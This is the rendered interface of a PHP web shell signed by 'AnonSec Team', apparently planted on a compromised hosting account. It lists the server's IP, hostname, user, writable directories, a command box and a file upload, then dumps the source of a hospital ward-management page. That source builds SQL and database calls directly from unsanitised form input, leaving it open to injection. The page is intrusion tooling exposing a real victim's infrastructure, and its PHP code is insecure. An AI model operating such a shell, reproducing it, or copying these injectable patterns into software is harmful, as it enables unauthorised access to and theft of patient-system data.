Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.142.133.54
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//ward.php
<?php
session_start();
include("header.php");
include("menu.php");
include("dbconnection.php");
require_once("../patientmanager.php");
require_once("../DBManager.php");
if(isset($_POST[submit]))
{
PatientManager::addward("$_POST[ward_department]","$_POST[ward_name]","$_POST[ward_type]","$_POST[adminid]");
}
?>
    <ul>
      <li class="first">Ward</li></ul>

 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
 <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
<form name="submit" method="post" id="myForm" enctype="multipart/form-data">
       <?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
$today = date('Y-m-d');
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		    echo"<input type='hidden' name='adminid' value='$re[entered_by]'>";
		}
		?>
     
	<table id="example2" class="table table-bordered table-hover">  
      <tbody>
	          <tr>
          <td height="62">Ward</td>
          <td><select onchange="drmdiload(this.value)" name="ward_department">
<option value="" disabled selected>Ward </option>
<option value="1"> Intensive Unit</option>
 <option value="2">Ward</option>
  <option value="3">Operative room</option>
</select></td>
        </tr>
		 <tr>
          <td height="62">Type</td>
          <td id='divmedidr'><select name="ward_department">
<option value="" disabled selected>Type </option>
<option value="Burn Unit"> Burn Unit</option>
 <option value="Incentive care Unit">Incentive care Unit</option>
<option value="Cardiac intensive care unit"> Cardiac intensive care unit</option>
<option value="High-dependency care"> High-dependency care</option>
<option value="Pediatric intensive care unit"> Pediatric intensive care unit</option>
<option value="Neonatal intensive care unit"> Neonatal intensive care unit</option>
</select></td>
        </tr>
       
         		<tr>
          <td height="62">Name</td>
          <td><input type="text" placeholder="Name" name="ward_name" ></td>
        </tr>
        <tr>
          <td colspan="2" align="center">
              
              <input type="submit" name="submit" id="submit" value="Submit" />
              </td>
        </tr>
      </tbody>
    </table>
    </form>

<?php
include("surgeryaddbed.php");
?>
<?php
include("footer.php");
?>
    <script>
 function drmdiload(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadwardtype.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>

Anon7 - 2022
AnonSec Team